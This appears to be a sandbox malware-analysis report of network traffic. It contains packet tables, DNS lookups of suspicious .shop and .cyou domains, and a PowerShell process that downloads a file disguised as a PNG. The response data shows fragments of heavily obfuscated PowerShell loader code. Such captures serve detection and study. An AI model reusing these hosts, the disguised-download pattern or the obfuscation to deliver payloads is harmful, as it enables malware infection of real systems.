Jan 6, 2025 13:56:38.224585056 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.224590063 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.224644899 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.231686115 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.306277037 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.306294918 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.306369066 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.306376934 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.306477070 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.306497097 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.306536913 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.306541920 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.306579113 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.306901932 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.306915045 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.306976080 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.306981087 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.307049036 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.307069063 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.307107925 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.307112932 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.307149887 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.307333946 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.307352066 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.307425976 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.307430983 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.313406944 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.315471888 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.315486908 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.315550089 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.315555096 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.315813065 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.315831900 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.315879107 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.315882921 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.315906048 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.316139936 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.316153049 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.316231966 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.316236973 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.316261053 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.316957951 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.397977114 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.397996902 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.398097038 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.398106098 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.398269892 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.398288965 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.398329973 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.398334980 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.398358107 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.398555994 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.398569107 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.398618937 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.398626089 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.398642063 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.398832083 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.398850918 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.398891926 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.398899078 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.398926973 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.399189949 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.399203062 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.399266005 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.399271965 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.399281979 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.403567076 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.407166004 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.407181025 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.407237053 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.407243967 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.407284975 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.407335043 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.407351971 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.407416105 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.407416105 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.407421112 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.407650948 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.407663107 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.407718897 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.407723904 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.407756090 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.414632082 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.490398884 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.490420103 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.490475893 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.490483046 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.490514040 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.490523100 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.490535975 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.490573883 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.490577936 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.490607023 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.490644932 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.490657091 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.490700960 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.490706921 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.490721941 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.490834951 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.490859032 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.490907907 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.490907907 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.490912914 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.490957975 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.490969896 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.491033077 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.491033077 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.491039991 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.493917942 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.498687983 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.498702049 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.498795986 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.498801947 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.499016047 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.499034882 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.499080896 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.499085903 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.499145985 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.499291897 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.499304056 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.499347925 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.499353886 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.499366045 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.500745058 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.504219055 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.581481934 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.581501961 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.581578016 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.581578016 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.581587076 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.581594944 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.581615925 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.581653118 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.581657887 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.581690073 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.581995010 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.582010031 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.582052946 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.582058907 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.582075119 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.582242966 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.582256079 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.582375050 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.582380056 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.582423925 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.582436085 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.582474947 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.582480907 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.582494974 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.590365887 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.590387106 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.590425014 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.590431929 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.590451956 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.590586901 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.590600014 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.590641975 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.590647936 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.590672970 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.590964079 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.590981960 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.591021061 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.591026068 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.591048956 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.591835976 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.595235109 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.619558096 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.619601965 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.619642973 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.619673014 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.619730949 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.653681993 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.710077047 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.710077047 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:38.710099936 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:38.710108995 CET	443	49986	188.114.96.3	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2025 13:55:00.299545050 CET	52454	53	192.168.2.5	1.1.1.1
Jan 6, 2025 13:55:00.312572956 CET	53	52454	1.1.1.1	192.168.2.5
Jan 6, 2025 13:56:18.200726986 CET	52731	53	192.168.2.5	1.1.1.1
Jan 6, 2025 13:56:18.219451904 CET	53	52731	1.1.1.1	192.168.2.5
Jan 6, 2025 13:56:31.383925915 CET	62868	53	192.168.2.5	1.1.1.1
Jan 6, 2025 13:56:31.396617889 CET	53	62868	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 6, 2025 13:55:00.299545050 CET	192.168.2.5	1.1.1.1	0x363a	Standard query (0)	klipdiheqoe.shop	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:56:18.200726986 CET	192.168.2.5	1.1.1.1	0x8ebc	Standard query (0)	grooveoiy.cyou	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:56:31.383925915 CET	192.168.2.5	1.1.1.1	0x282e	Standard query (0)	klipjarifaa.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 6, 2025 13:55:00.312572956 CET	1.1.1.1	192.168.2.5	0x363a	No error (0)	klipdiheqoe.shop	104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:55:00.312572956 CET	1.1.1.1	192.168.2.5	0x363a	No error (0)	klipdiheqoe.shop	104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:55:00.312572956 CET	1.1.1.1	192.168.2.5	0x363a	No error (0)	klipdiheqoe.shop	104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:55:00.312572956 CET	1.1.1.1	192.168.2.5	0x363a	No error (0)	klipdiheqoe.shop	104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:55:00.312572956 CET	1.1.1.1	192.168.2.5	0x363a	No error (0)	klipdiheqoe.shop	104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:55:00.312572956 CET	1.1.1.1	192.168.2.5	0x363a	No error (0)	klipdiheqoe.shop	104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:55:00.312572956 CET	1.1.1.1	192.168.2.5	0x363a	No error (0)	klipdiheqoe.shop	104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:56:18.219451904 CET	1.1.1.1	192.168.2.5	0x8ebc	No error (0)	grooveoiy.cyou	104.21.71.158	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:56:18.219451904 CET	1.1.1.1	192.168.2.5	0x8ebc	No error (0)	grooveoiy.cyou	172.67.146.87	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:56:31.396617889 CET	1.1.1.1	192.168.2.5	0x282e	No error (0)	klipjarifaa.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:56:31.396617889 CET	1.1.1.1	192.168.2.5	0x282e	No error (0)	klipjarifaa.shop	188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

klipdiheqoe.shop

grooveoiy.cyou

klipjarifaa.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.48.1	443	2804	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:55:00 UTC	75	OUT	GET /ruwkl.png HTTP/1.1 Host: klipdiheqoe.shop Connection: Keep-Alive
2025-01-06 12:55:01 UTC	978	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:55:01 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 9047877 Connection: close X-Powered-By: Express ETag: W/"8a0f45-74W6ElGEy7krOr94D6nb8KHx1NA" Set-Cookie: connect.sid=s%3A-kd1vQtQ_LkTykM1d1rj_Td53FloLBqK.%2FkseSDL2AJXaWbU8goYBQubdEhmtBkxAW3PxpwrN6kQ; Path=/; HttpOnly cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GtaCh6mZv9gwJqtZSoUWAJ9mXgJtBeb1gdLaFw%2FHUF3geI2EpHiHUsZzIigZN9zLNBIqQoCbyr%2BoBW8zxYa%2F3AboIUbaWTw0Td0Awutd6HSdqWIwGoPMt11FHbh3TeapWFsV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdbdc2678d142e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1721&min_rtt=1716&rtt_var=654&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=689&delivery_rate=1659090&cwnd=240&unsent_bytes=0&cid=6e15fa39b94d634d&ts=373&x=0"
2025-01-06 12:55:01 UTC	1369	IN	Data Raw: 0d 0a 24 75 76 52 41 42 45 41 70 5a 20 3d 20 28 28 28 28 28 28 28 2d 33 32 20 2a 20 33 34 34 31 30 29 20 2b 20 32 38 32 30 30 29 20 2b 20 34 39 35 36 29 20 2a 20 28 28 28 28 28 2d 36 20 2d 20 24 75 76 52 41 42 45 41 70 5a 29 20 2b 20 37 38 39 38 39 29 20 2a 20 30 29 20 2b 20 24 75 76 52 41 42 45 41 70 5a 29 29 29 20 2d 20 24 75 76 52 41 42 45 41 70 5a 29 29 20 2d 20 28 28 28 24 75 76 52 41 42 45 41 70 5a 20 2d 20 32 33 33 31 32 29 20 2d 20 24 75 76 52 41 42 45 41 70 5a 29 20 2b 20 38 39 30 38 29 29 0d 0a 24 57 4e 70 41 58 78 4a 76 20 3d 20 28 28 28 28 28 24 75 76 52 41 42 45 41 70 5a 20 2b 20 24 75 76 52 41 42 45 41 70 5a 29 20 2d 20 28 28 28 28 28 28 24 75 76 52 41 42 45 41 70 5a 20 2b 20 24 75 76 52 41 42 45 41 70 5a 29 20 2d 20 24 75 76 52 41 42 45 41 Data Ascii: $uvRABEApZ = (((((((-32 * 34410) + 28200) + 4956) * (((((-6 - $uvRABEApZ) + 78989) * 0) + $uvRABEApZ))) - $uvRABEApZ)) - ((($uvRABEApZ - 23312) - $uvRABEApZ) + 8908))$WNpAXxJv = ((((($uvRABEApZ + $uvRABEApZ) - (((((($uvRABEApZ + $uvRABEApZ) - $uvRABEA
2025-01-06 12:55:01 UTC	1369	IN	Data Raw: 4a 75 6d 67 64 57 49 79 29 20 2a 20 24 58 78 58 57 44 4a 64 58 48 66 29 20 2b 20 32 39 35 33 32 29 29 29 20 2a 20 36 31 38 39 29 20 2a 20 24 42 44 6e 41 73 7a 29 20 2a 20 33 31 36 37 38 29 0d 0a 24 4f 70 6e 53 44 66 6d 42 6f 20 3d 20 28 28 24 4f 70 6e 53 44 66 6d 42 6f 20 2a 20 39 35 30 38 38 30 29 20 2a 20 24 58 78 58 57 44 4a 64 58 48 66 29 0d 0a 24 59 62 59 44 6c 50 44 6d 68 20 3d 20 28 28 24 4f 70 6e 53 44 66 6d 42 6f 20 2b 20 2d 35 36 38 39 37 29 20 2b 20 24 4a 75 6d 67 64 57 49 79 29 0d 0a 24 6c 46 56 6e 47 4c 52 51 56 20 3d 20 28 28 28 28 24 4f 70 6e 53 44 66 6d 42 6f 20 2a 20 28 28 28 28 24 71 4a 68 4f 63 45 43 46 6e 57 20 2a 20 34 34 29 20 2d 20 33 30 38 35 36 29 20 2d 20 31 37 29 29 29 20 2b 20 24 57 4e 70 41 58 78 4a 76 29 20 2d 20 28 28 28 28 Data Ascii: JumgdWIy) * $XxXWDJdXHf) + 29532))) * 6189) * $BDnAsz) * 31678)$OpnSDfmBo = (($OpnSDfmBo * 950880) * $XxXWDJdXHf)$YbYDlPDmh = (($OpnSDfmBo + -56897) + $JumgdWIy)$lFVnGLRQV = (((($OpnSDfmBo * (((($qJhOcECFnW * 44) - 30856) - 17))) + $WNpAXxJv) - ((((
2025-01-06 12:55:01 UTC	1369	IN	Data Raw: 6b 61 29 29 29 20 2a 20 2d 33 33 35 32 29 20 2b 20 28 28 28 28 28 33 20 2a 20 24 42 44 6e 41 73 7a 29 20 2d 20 39 38 31 33 29 20 2d 20 35 39 39 35 30 37 29 20 2a 20 24 67 66 6e 61 4b 66 29 29 29 20 2d 20 32 32 30 36 33 29 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 69 66 20 28 28 24 4a 75 6d 67 64 57 49 79 20 2d 6e 65 20 24 6c 46 56 6e 47 4c 52 51 56 29 20 2d 61 6e 64 20 28 24 59 62 59 44 6c 50 44 6d 68 20 2d 67 74 20 2d 38 35 30 38 29 20 2d 61 6e 64 20 28 24 67 66 6e 61 4b 66 20 2d 67 65 20 24 4f 70 6e 53 44 66 6d 42 6f 29 20 2d 61 6e 64 20 28 24 59 62 59 44 6c 50 44 6d 68 20 2d 65 71 20 2d 35 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 24 61 50 4f 72 64 43 42 51 20 3d 20 28 28 28 2d 33 38 31 20 2d 20 28 28 28 28 33 35 39 33 38 39 20 2b 20 24 43 6f 68 53 7a 66 Data Ascii: ka))) * -3352) + (((((3 * $BDnAsz) - 9813) - 599507) * $gfnaKf))) - 22063) } if (($JumgdWIy -ne $lFVnGLRQV) -and ($YbYDlPDmh -gt -8508) -and ($gfnaKf -ge $OpnSDfmBo) -and ($YbYDlPDmh -eq -5)) { $aPOrdCBQ = (((-381 - ((((359389 + $CohSzf
2025-01-06 12:55:01 UTC	1369	IN	Data Raw: 54 52 4a 62 4a 66 66 29 29 29 20 2b 20 28 28 28 28 2d 38 20 2b 20 24 75 76 52 41 42 45 41 70 5a 29 20 2b 20 39 35 34 29 20 2b 20 38 34 30 30 29 29 29 20 2d 20 24 4f 70 6e 53 44 66 6d 42 6f 29 29 20 2a 20 28 28 31 32 36 20 2b 20 28 28 28 28 28 24 70 51 6a 64 69 77 6d 20 2a 20 24 71 4a 68 4f 63 45 43 46 6e 57 29 20 2d 20 24 68 53 77 62 6e 47 55 59 6f 6b 76 29 20 2a 20 2d 36 33 38 29 20 2d 20 37 32 32 32 29 29 29 20 2a 20 28 28 28 24 57 4e 70 41 58 78 4a 76 20 2b 20 2d 34 39 32 29 20 2a 20 36 37 31 36 38 29 29 29 29 29 29 0d 0a 69 66 20 28 28 38 31 30 35 20 2d 67 65 20 35 33 37 31 29 20 2d 6f 72 20 28 24 75 76 52 41 42 45 41 70 5a 20 2d 67 74 20 24 74 6f 7a 73 78 41 65 79 51 29 20 2d 6f 72 20 28 2d 31 33 31 20 2d 67 74 20 2d 35 30 37 32 29 20 2d 6f 72 20 28 Data Ascii: TRJbJff))) + ((((-8 + $uvRABEApZ) + 954) + 8400))) - $OpnSDfmBo)) * ((126 + ((((($pQjdiwm * $qJhOcECFnW) - $hSwbnGUYokv) * -638) - 7222))) * ((($WNpAXxJv + -492) * 67168))))))if ((8105 -ge 5371) -or ($uvRABEApZ -gt $tozsxAeyQ) -or (-131 -gt -5072) -or (
2025-01-06 12:55:01 UTC	1369	IN	Data Raw: 39 39 37 29 29 20 2b 20 28 28 28 2d 39 33 39 20 2d 20 28 28 28 28 24 4a 75 6d 67 64 57 49 79 20 2d 20 37 31 36 30 38 29 20 2a 20 24 6d 61 6f 6f 58 59 79 4d 44 29 20 2b 20 24 68 53 77 62 6e 47 55 59 6f 6b 76 29 29 29 20 2d 20 24 55 4e 6b 79 49 7a 6d 74 78 63 69 29 20 2a 20 28 28 28 28 28 28 2d 31 33 36 20 2b 20 24 43 6f 68 53 7a 66 5a 29 20 2b 20 2d 37 35 37 30 36 38 29 20 2b 20 24 58 78 58 57 44 4a 64 58 48 66 29 20 2a 20 2d 34 32 39 30 29 20 2d 20 24 59 62 59 44 6c 50 44 6d 68 29 29 29 29 0d 0a 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 24 68 53 77 62 6e 47 55 59 6f 6b 76 20 3d 20 28 28 28 28 28 28 24 74 6f 7a 73 78 41 65 79 51 20 2b 20 24 76 46 74 63 6f 55 6b 61 29 20 2b 20 28 28 28 28 28 24 4f 70 6e 53 44 66 6d 42 6f 20 2b 20 28 28 28 31 35 20 2b 20 24 Data Ascii: 997)) + (((-939 - (((($JumgdWIy - 71608) * $maooXYyMD) + $hSwbnGUYokv))) - $UNkyIzmtxci) * ((((((-136 + $CohSzfZ) + -757068) + $XxXWDJdXHf) * -4290) - $YbYDlPDmh))))} else { $hSwbnGUYokv = (((((($tozsxAeyQ + $vFtcoUka) + ((((($OpnSDfmBo + (((15 + $
2025-01-06 12:55:01 UTC	1369	IN	Data Raw: 76 20 2b 20 2d 36 37 36 39 35 29 20 2b 20 24 58 78 58 57 44 4a 64 58 48 66 29 20 2a 20 24 70 51 6a 64 69 77 6d 29 20 2b 20 24 72 49 68 74 72 62 58 71 51 6d 29 20 2a 20 24 4a 75 6d 67 64 57 49 79 29 29 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 24 54 56 6a 50 64 7a 77 58 6d 7a 2d 2d 0d 0a 7d 0d 0a 24 78 43 57 78 58 77 78 20 3d 20 28 28 28 2d 32 30 30 20 2a 20 34 38 35 38 34 29 20 2b 20 24 78 43 57 78 58 77 78 29 20 2d 20 24 70 51 6a 64 69 77 6d 29 0d 0a 24 76 46 74 63 6f 55 6b 61 20 3d 20 28 28 28 28 28 28 28 24 72 49 68 74 72 62 58 71 51 6d 20 2d 20 2d 32 29 20 2b 20 24 43 6f 68 53 7a 66 5a 29 20 2d 20 35 35 34 38 37 29 20 2b 20 24 57 4e 70 41 58 78 4a 76 29 20 2d 20 2d 39 38 37 33 29 29 20 2a 20 28 28 28 28 39 20 2b 20 24 7a 46 50 64 4a 64 4a 47 43 7a 73 29 Data Ascii: v + -67695) + $XxXWDJdXHf) * $pQjdiwm) + $rIhtrbXqQm) * $JumgdWIy)) } $TVjPdzwXmz--}$xCWxXwx = (((-200 * 48584) + $xCWxXwx) - $pQjdiwm)$vFtcoUka = ((((((($rIhtrbXqQm - -2) + $CohSzfZ) - 55487) + $WNpAXxJv) - -9873)) * ((((9 + $zFPdJdJGCzs)
